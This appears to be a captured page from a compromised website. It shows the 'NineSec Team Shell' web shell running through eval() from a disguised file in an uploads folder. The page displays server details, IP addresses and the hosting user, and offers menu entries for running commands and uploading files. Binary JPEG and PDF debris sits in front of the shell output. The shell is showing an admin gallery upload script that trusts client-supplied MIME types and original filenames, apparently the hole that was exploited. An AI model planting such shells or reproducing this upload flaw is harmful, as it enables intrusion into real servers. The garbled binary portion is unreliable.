JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../admin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../admin/gallery.php
<?php
session_start();
require_once '../config/database.php';
require_once '../includes/functions.php';

if (!isLoggedIn() || !isAdmin()) {
    header('Location: ../login.php');
    exit();
}

// Handle multiple image uploads
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['images'])) {
    $title = !empty($_POST['title']) ? sanitizeInput($_POST['title']) : null;
    $description = !empty($_POST['description']) ? sanitizeInput($_POST['description']) : null;
    
    $upload_dir = '../uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }
    
    $uploaded_count = 0;
    $errors = [];
    
    // Loop through all uploaded files
    foreach ($_FILES['images']['name'] as $key => $name) {
        // Skip empty file inputs
        if ($_FILES['images']['error'][$key] !== UPLOAD_ERR_OK || empty($name)) {
            continue;
        }
        
        // Validate file type
        $allowed_types = ['image/jpeg', 'image/jpg', 'image/png', 'image/gif', 'image/webp'];
        $file_type = $_FILES['images']['type'][$key];
        
        if (!in_array($file_type, $allowed_types)) {
            $errors[] = "File '{$name}' is not a valid image type.";
            continue;
        }
        
        // Generate unique filename
        $image_name = time() . '_' . $key . '_' . basename($name);
        $target_path = $upload_dir . $image_name;
        
        if (move_uploaded_file($_FILES['images']['tmp_name'][$key], $target_path)) {
            $stmt = $pdo->prepare("INSERT INTO gallery (title, description, image_path) VALUES (?, ?, ?)");
            $stmt->execute([$title, $description, $target_path]);
            $uploaded_count++;
        } else {
            $errors[] = "Error uploading image '{$name}'.";
        }
    }
    
    if ($uploaded_count > 0) {
        $success = "Successfully uploaded {$uploaded_count} image(s).";
        if (!empty($errors)) {
            $success .= " Some images failed to upload.";
        }
    } else {
        $error = "No images were uploaded. " . implode(' ', $errors);
    }
}

// Handle image deletion
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['id'])) {
    $image_id = intval($_GET['id']);
    
    // Get image path first
    $stmt = $pdo->prepare("SELECT image_path FROM gallery WHERE id = ?");
    $stmt->execute([$image_id]);
    $image = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if ($image && file_exists($image['image_path'])) {
        unlink($image['image_path']);
    }
    
    $pdo->prepare("DELETE FROM gallery WHERE id = ?")->execute([$image_id]);
    header('Location: gallery.php');
    exit();
}

// Fetch all gallery items
$gallery = $pdo->query("SELECT * FROM gallery ORDER BY upload_date DESC")->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Manage Gallery - Admin Panel</title>
    <link rel="stylesheet" href="../css/style.css">
    <style>
        .gallery-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
            gap: 20px;
            margin-top: 20px;
        }
        
        .gallery-item {
            border: 1px solid #ddd;
            border-radius: 8px;
            overflow: hidden;
            background: white;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }
        
        .gallery-item img {
            width: 100%;
            height: 200px;
            object-fit: cover;
        }
        
        .caption {
            padding: 15px;
        }
        
        .caption h4 {
            margin: 0 0 8px 0;
            color: #333;
        }
        
        .caption p {
            margin: 5px 0;
            color: #666;
            font-size: 14px;
        }
        
        .message {
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        
        .success {
            background-color: #e8f5e8;
            color: #2e7d32;
            border: 1px solid #c8e6c9;
        }
        
        .error {
            background-color: #ffebee;
            color: #c62828;
            border: 1px solid #ffcdd2;
        }
    </style>
</head>
<body>
    <?php include '../includes/header.php'; ?>
    
    <div class="admin-container">
        <div class="admin-sidebar">
            <ul>
                <li><a href="index.php">Dashboard</a></li>
                <li><a href="users.php">Users</a></li>
                <li><a href="events.php">Events</a></li>
                <li><a href="registrations.php">Registrations</a></li>
                <li><a href="gallery.php" class="active">Gallery</a></li>
            </ul>
        </div>
        
        <div class="admin-content">
            <h2>Manage Gallery</h2>
            
            <?php if (isset($success)): ?>
                <div class="message success">
                    <?php echo $success; ?>
                    <?php if (!empty($errors)): ?>
                        <ul style="margin: 10px 0 0 0; padding-left: 20px;">
                            <?php foreach ($errors as $err): ?>
                                <li><?php echo $err; ?></li>
                            <?php endforeach; ?>
                        </ul>
                    <?php endif; ?>
                </div>
            <?php endif; ?>
            
            <?php if (isset($error)): ?>
                <div class="message error">
                    <?php echo $error; ?>
                </div>
            <?php endif; ?>
            
            <div class="card">
                <h3>Upload Multiple Images</h3>
                
                <form method="POST" action="" enctype="multipart/form-data">
                    <div class="form-group">
                        <label for="title">Common Title (Optional)</label>
                        <input type="text" id="title" name="title" placeholder="Leave empty for no title">
                        <small>This title will be applied to all uploaded images</small>
                    </div>
                    
                    <div class="form-group">
                        <label for="description">Common Description (Optional)</label>
                        <textarea id="description" name="description" rows="3" placeholder="Leave empty for no description"></textarea>
                        <small>This description will be applied to all uploaded images</small>
                    </div>
                    
                    <div class="form-group">
                        <label for="images">Select Multiple Images</label>
                        <input type="file" id="images" name="images[]" accept="image/*" multiple required>
                        <small>Hold Ctrl/Cmd to select multiple images. Supported formats: JPG, PNG, GIF, WebP</small>
                    </div>
                    
                    <button type="submit" class="btn btn-primary">Upload Images</button>
                </form>
            </div>
            
            <div class="card">
                <h3>Gallery Items (<?php echo count($gallery); ?>)</h3>
                
                <?php if (empty($gallery)): ?>
                    <p>No images in gallery yet.</p>
                <?php else: ?>
                    <div class="gallery-grid">
                        <?php foreach ($gallery as $item): ?>
                            <div class="gallery-item">
                                <img src="<?php echo htmlspecialchars($item['image_path']); ?>" 
                                     alt="<?php echo htmlspecialchars($item['title'] ?? 'Gallery Image'); ?>"
                                     onerror="this.src='../images/placeholder.jpg'">
                                <div class="caption">
                                    <h4><?php echo !empty($item['title']) ? htmlspecialchars($item['title']) : 'No Title'; ?></h4>
                                    <p><?php echo !empty($item['description']) ? htmlspecialchars($item['description']) : 'No description'; ?></p>
                                    <p><small>Uploaded: <?php echo date('M j, Y g:i A', strtotime($item['upload_date'])); ?></small></p>
                                    <a href="gallery.php?action=delete&id=<?php echo $item['id']; ?>" 
                                       onclick="return confirm('Are you sure you want to delete this image?')"
                                       style="color: #c62828; text-decoration: none;">Delete</a>
                                </div>
                            </div>
                        <?php endforeach; ?>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
    
    <?php include '../includes/footer.php'; ?>
</body>
</html>

NineSec Team - 2022